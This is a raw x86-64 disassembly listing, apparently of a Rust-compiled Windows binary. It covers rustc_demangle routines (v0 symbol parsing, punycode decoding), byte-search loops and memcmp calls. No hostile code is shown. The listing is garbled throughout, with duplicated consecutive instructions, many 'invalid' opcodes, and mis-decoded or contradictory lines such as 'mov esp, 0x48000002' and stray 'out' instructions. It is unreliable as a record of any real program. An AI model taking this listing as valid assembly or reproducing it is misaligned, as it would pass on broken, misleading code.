and al, 0x38
mov r10, qword [rsp + 0x38]
movzx r10d, byte [r10 + r9 - 1]
movzx edx, byte [rdx + rcx - 1]
cmp rax, 0x10
jae 0x140067040
test rax, rax
je 0x1400672b7
test al, 2
add byte [rax], al
xor r14d, r14d
nop word cs:[rax + rax]
cmp byte [rcx + r14], r10b
cmp byte [rcx + rsi], dl
cmp byte [rcx + rsi], dl
je 0x140067106
inc r14
cmp rax, r14
jne 0x140067020
invalid
lea r11, [rcx + 7]
and r11, 0xfffffffffffffff8
and ebx, 0xfffffff8
sub r11, rcx
sub ebx, ecx
je 0x140067082
cmp r11, rax
cmovae r11, rax
test r11, r11
test ebx, ebx
test ebx, ebx
je 0x140067082
xor r14d, r14d
nop dword [rax]
cmp byte [rcx + r14], r10b
je 0x14006710b
inc r14
cmp r11, r14
jne 0x140067060
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
cmp r11, r14
jbe 0x14006708e
jmp 0x1400670d4
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
xor r11d, r11d
mov rbp, r10
movabs r9, 0x101010101010101
imul rbp, r9
nop
mov r12, qword [rcx + r11]
xor r12, rbp
lea r9, [r12 + rdx]
not r12
and r12, r9
mov r9, qword [rcx + r11 + 8]
xor r9, rbp
lea rbx, [r9 + rdx]
sbb al, 0x11
not r9
and r9, rbx
or r9, r12
test r9, r8
jne 0x1400670d4
or byte [rcx + 0x31], cl
jmp 0x15122fe06
sbb al, 0x11
add r11, 0x10
cmp r11, r14
jbe 0x1400670a0
sub rax, r11
mov rbx, qword [rsp + 0x20]
pop rsp
and al, 0x20
pop rsp
and al, 0x20
je 0x1400672b7
add rcx, r11
xor r14d, r14d
nop dword [rax + rax]
cmp byte [rcx + r14], r10b
je 0x140067103
invalid
or eax, 0x4cc6ff49
cmp eax, esi
jne 0x1400670f0
jmp 0x1400672b7
mov r9, qword [rsp + 0x28]
add rsi, r14
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, r9
jb 0x140066fe0
ja 0x140066fe0
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
mov edx, 4
mov rcx, r9
call fcn.1400a44b0
ud2
xor r13d, r13d
movabs r14, 0xfefefefefefefeff
dec byte [rax - 0x43]
add byte [rax - 0x7f7f7f80], 0x80
or byte [rax - 0x75], 0x54
and al, 0x38
dec byte [rax - 0x43]
add byte [rax - 0x7f7f7f80], 0x80
or byte [rax - 0x75], 0x54
and al, 0x38
movzx edx, byte [rdx + r9 - 1]
mov dh, 0x54
or bh, bh
cmp rax, 0x10
jae 0x1400671a0
test rax, rax
je 0x1400672b7
xor r9d, r9d
nop word cs:[rax + rax]
cmp byte [rcx + r9], dl
cmp byte [rcx + rcx], dl
cmp byte [rcx + rcx], dl
je case.0x140048458.90
invalid
lea r8, [rcx + 7]
and r8, 0xfffffffffffffff8
and eax, 0xfffffff8
clc
clc
sub r8, rcx
je 0x1400671e2
cmp r8, rax
cmovae r8, rax
test r8, r8
test eax, eax
test eax, eax
je 0x1400671e2
xor r9d, r9d
nop dword [rax]
cmp byte [rcx + r9], dl
cmp byte [rcx + rcx], dl
je case.0x140048458.90
inc r9
cmp r8, r9
jne 0x1400671c0
mov qword [rsp + 0x20], rbx
lea r9, [rax - 0x10]
cmp r8, r9
jbe 0x1400671ee
push rdx
mov qword [rsp + 0x20], rbx
lea r9, [rax - 0x10]
xor r8d, r8d
mov r10, rdx
movabs r11, 0x101010101010101
imul r10, r11
nop
mov r11, qword [rcx + r8]
xor r11, r10
lea rbx, [r11 + r14]
not r11
and r11, rbx
and ebx, ebx
mov rbx, qword [rcx + r8 + 8]
xor rbx, r10
lea r12, [rbx + r14]
not rbx
and rbx, r12
or rbx, r11
test rbx, rbp
jne 0x140067234
add r8, 0x10
cmp r8, r9
invalid
jbe 0x140067200
sub rax, r8
mov rbx, qword [rsp + 0x20]
je 0x1400672b7
add rcx, r8
xor r9d, r9d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rcx + r9], dl
je 0x140067260
invalid
add rsi, r9
inc rsi
mov qword [rdi + 0x10], rsi
mov r12, rsi
mov r9, qword [rsp + 0x28]
sub r12, r9
jb 0x1400672a0
invalid
cmp rsi, qword es:[rsp + 0x40]
cmp rsi, qword [rsp + 0x40]
ja 0x1400672a0
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r12]
mov rdx, qword [rsp + 0x38]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
mov bl, byte [rbx - 0x74b3fffd]
and al, 0x28
mov bl, byte [rbx - 0x74b3fffd]
and al, 0x28
test eax, eax
je 0x1400672d2
mov rax, qword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
sub rax, rsi
jae 0x140067156
mov qword [rdi + 0x10], r15
jg 0x1400672cb
xor r13d, r13d
mov qword [rbx], r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], rsi
adc byte [rcx - 0x43], al
mov ebp, 1
mov ebp, 1
jmp 0x1400672be
int3
int3
int3
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov rsi, rcx
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x140067769
add al, 0
invalid
add al, 0
add byte [rbx - 0x3f00e7ba], cl
sbb dil, r15b
invalid
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f5
jae 0x140067395
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
adc byte [rcx + r15 - 0x40], r9b
adc byte [rcx + r15 - 0x40], r9b
jae case.0x140067356.68
add byte [rcx + 0x1cb60fd5], cl
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
mov ebp, edx
movzx ebx, byte [rcx + rax]
lea rdx, [rax + 1]
mov qword [rsi + 0x10], rdx
lea r9d, [rbx - 0x42]
mov esi, 0x17f98341
mov esi, 0x17f98341
ja case.0x140067356.68
lea r10, [0x1400e70f8]
movsxd r9, dword [r10 + r9*4]
or al, 0x8a
or al, 0x8a
add r9, r10
jmp r9
add byte [rax + 0xf73113c], al
test dword [rbx + 4], eax
add byte [rax], al
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae 0x1400675f7
jp case.0x140047968.160
add byte [rax], al
jp case.0x140047968.160
add byte [rax], al
cmp byte [rcx + r9], 0x5f
jne 0x1400675f7
add rax, 3
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
jmp 0x1400677af
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400673bb
lea rdx, [0x1400db520]
mov r8d, 0x19
add byte [rax], al
jnp 0x1400673e4
invalid
add byte [rax], al
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140067894
add byte [rax], al
add byte [rax], al
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x140067892
invalid
add al, 0
invalid
mov dword [rax + rax], 0xf1894800
mov edx, ebp
call fcn.140067a10
mov dil, 1
add ecx, ebp
jns 0x1400673df
add byte [rax], al
add ecx, ebp
jns 0x1400673df
add byte [rax], al
lea rcx, [rsp + 0x30]
and al, 0x30
mov rdx, rsi
call fcn.140067bb0
bnd call fcn.140067bb0
cmp byte [rsp + 0x30], 0
je 0x140067661
insb byte [rdi], dx
add al, byte [rax]
invalid
insb byte [rdi], dx
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x5c
and al, 0x31
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140067432
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1400db520]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140067894
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x140067892
test dword [rdi + rax], edi
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
call fcn.14003de60
test al, al
jne 0x140067894
test dword [rsi], edx
add al, 0
invalid
test dword [rsi], edx
add al, 0
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400674a1
lea rdx, [0x1400db1aa]
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140067894
mov rcx, rsi
call fcn.140068a70
test rax, rax
jne 0x140067894
invalid
add cl, ch
test byte [rbx], al
add byte [rax], al
mov rcx, rsi
call fcn.140068500
mov rbx, rax
ret
test bl, 1
jne 0x1400675aa
jmp 0x14006783b
ret
mov rcx, rsi
mov edx, ebp
call fcn.1400672f0
mov dil, 1
test al, al
jne 0x140067894
cmp qword [rsi], 0
je 0x140067738
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140067bb0
cmp byte [rsp + 0x30], 0
jne 0x1400673f5
invalid
dec dword [rax - 0x7d]
add byte ds:[rdi], cl
test byte [rbp + 2], bl
add byte [rax], al
cmp qword [rsi], 0
je 0x140067769
mov r14, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140067c80
cmp qword [rsp + 0x30], 0
je 0x14006772e
shr rbx, 0x20
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp ebx, 0x110000
jne 0x1400678a4
mov rax, qword [rsp + 0x58]
and al, 0x58
or rax, qword [rsp + 0x68]
je 0x14006785a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006785a
lea rdx, [0x1400db0f0]
mov r8d, 2
call fcn.14003de60
test al, al
jne 0x140067894
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006785a
lea rcx, [rsp + 0x50]
call fcn.140067ea0
jmp 0x140067856
shr ebx, 8
and bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400675e8
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
add eax, 0x73f4e
lea rdx, [0x1400db520]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140067894
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x140067892
xor eax, eax
mov r10d, 0x3e
cmp r9, r8
jae case.0x140067356.68
mov ebx, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x140067356.68
movzx edx, r11b
add rax, rdx
jae 0x1400675ff
cmp qword [rsi], 0
je 0x140067769
mov rbx, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.140067c80
cmp qword [rsp + 0x30], 0
je 0x14006772e
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
and al, 0x70
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006785a
lea rcx, [rsp + 0x70]
call fcn.140067ea0
mov dil, 1
test al, al
jne 0x140067894
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x14006785a
test byte [rax + 0x34], 4
jne 0x14006785a
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400df553]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x140067894
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call fcn.14003f740
test al, al
jne 0x140067894
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400df554]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140067856
movzx ebx, byte [rsp + 0x38]
jmp 0x1400673fa
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x140067892
lea rdx, [0x1400db0f0]
mov r8d, 2
call fcn.14003de60
test al, al
jne 0x140067894
cmp qword [rsi], 0
jne 0x1400674ea
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140067892
invalid
add byte [rax - 0x73], cl
adc eax, 0x73ddb
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
add rsp, 0x90
invalid
nop
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
jmp fcn.14003de60
invalid
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.1400672f0
test al, al
jne 0x1400679e5
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x1400677f6
lea rdx, [0x1400db1aa]
mov r8d, 1
mov rcx, rdi
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140067894
mov rcx, rsi
call fcn.140068550
mov dil, 1
test al, al
jne 0x140067894
cmp bl, 0x4d
je 0x14006783b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006782d
lea rdx, [0x1400db571]
mov r8d, 4
call fcn.14003de60
test al, al
jne 0x140067894
mov rcx, rsi
xor edx, edx
call fcn.1400672f0
test al, al
jne 0x140067894
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006785a
lea rdx, [0x1400db1a9]
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140067894
cmp qword [rsi], 0
je 0x140067892
dec dword [rsi + 0x18]
jmp 0x140067892
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140067887
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, 0x10
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140067894
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400678c3
lea rdx, [0x1400db562]
mov r8d, 3
call fcn.14003de60
test al, al
jne 0x140067894
cmp ebx, 0x43
je 0x1400678e5
cmp ebx, 0x53
jne 0x140067902
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140067921
lea rdx, [0x1400db56c]
mov r8d, 4
jmp 0x1400678fb
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140067921
lea rdx, [0x1400db565]
mov r8d, 7
call fcn.14003de60
jmp 0x140067919
mov rdx, qword [rsi + 0x20]
mov dword [rsp + 0x30], ebx
test rdx, rdx
je 0x140067921
lea rcx, [rsp + 0x30]
call fcn.140040dc0
test al, al
jne 0x140067894
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
mov rcx, qword [rsi + 0x20]
jne 0x140067991
test rcx, rcx
je 0x14006785a
lea rdx, [0x1400db570]
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140067894
mov rdx, qword [rsi + 0x20]
mov qword [rsp + 0x30], r14
test rdx, rdx
je 0x14006785a
lea rcx, [rsp + 0x30]
call fcn.14003d600
test al, al
jne 0x140067894
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006785a
lea rdx, [0x1400e13db]
jmp 0x14006784b
test rcx, rcx
je 0x14006785a
lea rdx, [0x1400e18e8]
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140067894
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006785a
lea rcx, [rsp + 0x50]
call fcn.140067ea0
test al, al
jne 0x140067894
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x14006793a
jmp 0x14006785a
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1400daf18]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.1400a48c0
ud2
mov r9, rax
call fcn.1400a4aa0
ud2
and al, 0x20
mov rcx, r9
mov r9, rdx
call fcn.1400a4aa0
ud2
mov rcx, r9
xor r8d, r8d
jmp 0x140067e65
movzx eax, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
je 0x140068031
add rax, rcx
xor r12d, r12d
nop
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x140067f50
inc rcx
cmp r12, 0x80
jne 0x140067ff0
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
out 0x3f, al
out 0x3f, al
cmp dl, 0xdf
jbe 0x140067faf
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140067fcb
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
je 0x140068034
add rcx, 4
cmp r12, 0x80
jne 0x140067ff0
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
cmp r12, 0x80
jne 0x140067ff0
jmp 0x140068400
add rcx, 3
shl r9d, 0xc
or r10d, r9d
retf 0x8944
ror byte [rcx - 0x7f], cl
cld
add byte [rax], 0
invalid
retf 0x8944
je 0x140068400
nop word cs:[rax + rax]
mov dword [rsp + r12*4 + 0x98], edx
mov dword [rsp + riz*4 + 0x98], edx
inc r12
cmp rcx, rax
jne 0x140067f20
jmp 0x140068034
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
add rsp, 0x298
pop rbx
pop rbp
cwde
add al, byte [rax]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
xor r12d, r12d
mov rax, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
mov ebx, dword [rsp + 0x58]
mov ebx, dword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
lea rax, [r12*4 + 4]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
mov rax, r12
neg rax
mov qword [rsp + 0x50], rax
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
lea rax, [r12 + 1]
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
mov esp, 0x48000002
mov dword [rsp + 0x28], eax
mov esp, 0x48000002
mov dword [rsp + 0x28], eax
mov r14d, 0x48
mov r15d, 0x80
mov r9d, 0x1a
add byte [rcx - 0x41], al
add byte [rax], 0
add byte [rcx - 0x47], al
sbb al, byte [rax]
add byte [rax], al
movabs rsi, 0xea0ea0ea0ea0ea0f
xor eax, eax
mov qword [rsp + 0x38], rax
xor ecx, ecx
leave
leave
mov edx, 0x24
sub rdx, r14
add byte [rax], al
add byte [rcx + rbp - 0xe], cl
mov eax, 0
cmovae rax, rdx
cmp rax, 1
cmp eax, 1
add byte [rax], al
add byte [rax + 0xf], cl
ret 0x8348
invalid
cmp eax, 1
adc rax, 0
rol byte [rax], 1
cmp rax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x1400680fd
lea edx, [r8 - 0x30]
cmp dl, 9
ja 0x140068400
inc rbx
movzx r9d, dl
mov dh, 0xca
cmp rax, r9
jbe case.0x14004753d.442
add rcx, r9
jb 0x140068400
lea r13, [r12 + 1]
mov rax, rcx
or rax, r13
shr rax, 0x20
je 0x1400681db
mov rax, rcx
xor edx, edx
div r13
mov r10, rdx
jmp 0x1400681e5
add byte [rax], al
add byte [rcx - 0x48], al
mov r8d, 0x24
mov r8d, 0x24
sub r8, rax
mov r13d, 0x48
add byte [rax], al
add byte [rax], al
nop
mov rax, r13
sub rax, r14
invalid
mov r11d, 0
cmovae r11, rax
invalid
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmovae ebx, edi
cmovae ebx, edi
cmp rbx, qword [rsp + 0x78]
je 0x140068400
movzx eax, byte [rbx]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x140068196
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x140068400
movzx r10d, dl
mov rax, r10
mul r8
mul eax
mul eax
jo 0x140068400
sbb byte [rdx + 2], 0
add byte [rcx + 1], cl
add r9, rax
jb 0x140068400
invalid
ror dword [rdi], 0x82
push rcx
add al, byte [rax]
add byte [rax - 1], cl
ret
inc rbx
cmp r11, r10
ja 0x140068109
xchg dword [rsi - 1], ecx
invalid
mov edx, 0x24
sub rdx, r11
add byte [rax], al
add byte [rcx + rbp - 0x26], cl
add r13, 0x24
mov rax, r8
mov eax, eax
mov eax, eax
mul rdx
mov r8, rax
jno 0x140068150
jmp 0x140068400
mov eax, ecx
xor edx, edx
div r13d
mov r10d, edx
add r15, rax
setb al
xchg edx, eax
ror byte [rax - 0x75], 0x54
and al, 0x68
xchg edx, eax
ror byte [rax - 0x75], 0x54
and al, 0x68
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
mov rdx, r15
shr rdx, 0x20
jne 0x140068400
test al, al
jne 0x140068400
test edx, esi
add dword [rax], eax
invalid
cmp r15d, 0x110000
je 0x140068400
add byte [rax], al
add byte [rax], al
mov eax, r15d
clc
xor eax, 0xd800
add eax, 0xfffff800
cmp eax, 0x10f7ff
push rdi
adc byte [rax], al
invalid
push rdi
adc byte [rax], al
invalid
not dword [rax]
add byte [rdi], cl
xchg ebp, ecx
add dword [rax], eax
ja 0x140068400
add byte [rcx - 0x7d], cl
cld
jg 0x140068247
cmp r12, 0x7f
ja 0x140068400
ret
add dword [rax], eax
invalid
xchg ebx, eax
add dword [rax], eax
add byte [rbp + 0x39], cl
invalid
ret
cmp r12, r10
jbe 0x140068270
loopne 0x14006828a
sub eax, edx
test al, 3
mov rdi, qword [rsp + 0x38]
jl case.0x1400402b0.339
invalid
shr byte [rax + 0x7c8b4803], 1
and al, 0x38
jl case.0x1400402b0.339
cmp byte [rdx + rsi*2 + 0x48], dh
mov eax, ecx
je 0x1400682c3
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
shr rax, 0x20
je 0x140068287
mov rax, rcx
xor edx, edx
div r8
invalid
enter 0xffffffffffffd231, 0x49
div eax
invalid
invalid
jmp 0x14006828e
cli
add byte [rax], 0
add byte [rax - 0x75], cl
jl 0x14006829f
cmp byte [rdi], cl
invalid
jb 0x1400682ff
jmp 0x1400684e3
add byte [rax], al
mov eax, ecx
xor edx, edx
div r8d
div eax
rol byte [rcx - 9], cl
invalid
imul rax, qword [rsp + 0x48]
and al, 0x48
add rcx, rax
xor eax, eax
nop dword [rax]
add byte [rbx - 0x76037aac], cl
push rsp
test dword [rax], eax
mov edx, dword [rbp + rax*4 - 4]
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
sub dl, cl
movzx edx, dl
and edx, 3
add rdx, rax
jne 0x1400682a0
sub rax, qword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
add rax, rdi
sub rax, r10
cmp rax, 3
jb 0x1400682ff
ror byte [rax - 0x7d], 1
clc
add esi, dword [rdx + 0x28]
nop word [rax + rax]
nop dword [rax + rax]
movups xmm0, xmmword [rsp + r12*4 + 0x88]
mov byte [rax], al
add byte [rax], al
movups xmmword [rsp + r12*4 + 0x8c], xmm0
lea rax, [r12 - 4]
mov r12, rax
mov esp, eax
mov esp, eax
cmp rax, r10
ja 0x1400682e0
mov dword [rsp + r10*4 + 0x98], r15d
cmp rbx, qword [rsp + 0x78]
cmp ebx, dword [rsp + 0x78]
cmp ebx, dword [rsp + 0x78]
pop rsp
and al, 0x78
je 0x1400684a8
movzx r8d, byte [rbx]
add ecx, dword [rcx + rcx*4 - 0x38]
mov rax, r9
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
invalid
shr rax, 0x20
mov r15, qword [rsp + 0x30]
invalid
xor byte [rdi + rcx + 0x4c], dh
je 0x140068333
mov rax, r9
mov eax, ecx
xor edx, edx
div qword [rsp + 0x28]
ror byte [rax - 9], cl
je 0x140068351
mov r9, rax
jmp 0x14006833f
invalid
or al, 0x44
mov eax, ecx
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
je 0x14006835f
sub byte [rcx - 0x77], al
ror dword [rbx + rcx*4 + 0x64], 0x24
and byte [rcx + rcx*4 - 0x38], cl
invalid
mov r12, qword [rsp + 0x20]
mov rax, r9
invalid
enter 0x94c, 0xffffffffffffffe8
or rax, r13
shr rax, 0x20
je 0x14006835d
mov rax, r9
xor edx, edx
ror byte [rcx - 9], cl
cmc
ror byte [rcx - 9], cl
cmc
mov rcx, rax
jmp 0x140068367
mov eax, r9d
xor edx, edx
div r13d
enter 0xffffffffffffd231, 0x41
div ebp
mov ecx, eax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
jb 0x14006839d
mov r9, rcx
nop dword [rax]
mov rax, r9
mul rsi
mov rcx, rdx
shr rcx, 5
add r11, 0x24
cmp r9, 0x3e57
mov r9, rcx
ja 0x140068380
inc r10
lea eax, [rcx*4]
lea eax, [rax + rax*8]
add ecx, 0x26
xor edx, edx
div cx
div ecx
movzx r14d, ax
invalid
add r14, r11
fimul word [rax - 1]
invalid
mov qword [rsp + 0x38], rdi
add r15, 4
add edi, 4
invalid
add edi, 4
mov qword [rsp + 0x30], r15
add rbp, 4
dec qword [rsp + 0x50]
dec qword [rsp + 0x48]
and al, 0x48
inc r12
mov qword [rsp + 0x20], r12
mov eax, 2
add byte [rax], al
invalid
mov qword [rsp + 0x28], rax
mov r12, r13
mov r15, qword [rsp + 0x68]
mov rcx, r10
mov r9d, 0x1a
jmp 0x1400680ba
add byte [rax], al
add cl, ch
mov edx, 0x48fffffc
mov eax, dword [rsp + 0x60]
and al, 0x60
mov rax, qword [rsp + 0x60]
and al, 0x60
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.punycode_0
mov r8d, 9
mov rcx, r14
mov rsi, rax
call rax
mov bpl, 1
test al, al
jne 0x14006847a
mov r8, qword [rsp + 0x90]
test r8, r8
je 0x140068464
mov rcx, r14
mov rdx, qword [rsp + 0x88]
mov rdi, rsi
call rsi
test al, al
jne 0x14006847a
lea rdx, [0x1400db341]
mov r8d, 1
mov rcx, r14
call rdi
test al, al
jne 0x14006847a
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
mov rdi, rsi
call rsi
test al, al
je 0x140068490
mov eax, ebp
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
lea rdx, [0x1400e13db]
mov r8d, 1
mov eax, 1
mov eax, 1
mov rcx, r14
mov ecx, esi
mov rax, rdi
jmp 0x14006801b
sti
invalid
invalid
lea rsi, [rsp + 0x44]
mov rdi, qword [rsp + 0x60]
invalid
lea rbx, [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
invalid
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
mov rcx, rsi
mov rdx, rdi
call fcn.140040dc0
mov ebp, eax
test al, al
jne 0x14006847a
add rbx, 4
add ebx, 4
add r14, 0xfffffffffffffffc
jne 0x1400684c0
jmp 0x14006847a
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
mov rcx, r10
call fcn.1400a4430
ud2
int3
stc
sbb dh, byte [rbx + 0xd]
xor ecx, ecx
jmp 0x140068541
add byte [rcx], dh
shr bl, 0x14
xor eax, eax
jmp 0x140068541
add al, 0x85
xor edx, edx
xor ecx, ecx
cmp al, 0xe6
setb cl
mov eax, 0x110000
cmovb rax, rdx
add byte [rax + 0xf], cl
ret 0xc148
shl rax, 0x20
or rax, rcx
ret
and byte [rax + 9], cl
enter 0xffffffffffffccc3, 0xffffffffffffffcc
int3
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov r15, qword [rcx]
cmp dword [rbp - 0x7b], ecx
dec dword [rdi]
invalid
invalid
add dword [rax], eax
invalid
cmp dword [rbp - 0x7b], ecx
dec dword [rdi]
test byte [0x18c068570], al
add dword [rax], eax
add byte [rbx + rcx*4 + 0x66], cl
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x66], cl
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
mov r12, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
cmp rbx, r12
jae 0x1400686a1
movzx r14d, byte [r15 + rbx]
lea r13, [rbx + 1]
imul eax, dword [rcx], 0x4c
mov dword [rsi + 0x10], ebp
imul eax, dword [rcx], 0x4c
mov dword [rsi + 0x10], ebp
lea eax, [r14 - 0x61]
cmp al, 0x1a
jae case.0x14004753d.500
movzx eax, al
mov ecx, 0x3bcfbbf
sti
mov esp, 0xc1a30f03
sti
mov esp, 0xc1a30f03
jb 0x14006870d
invalid
add dword [rax], eax
add byte [rbx - 0x3f00e7ba], cl
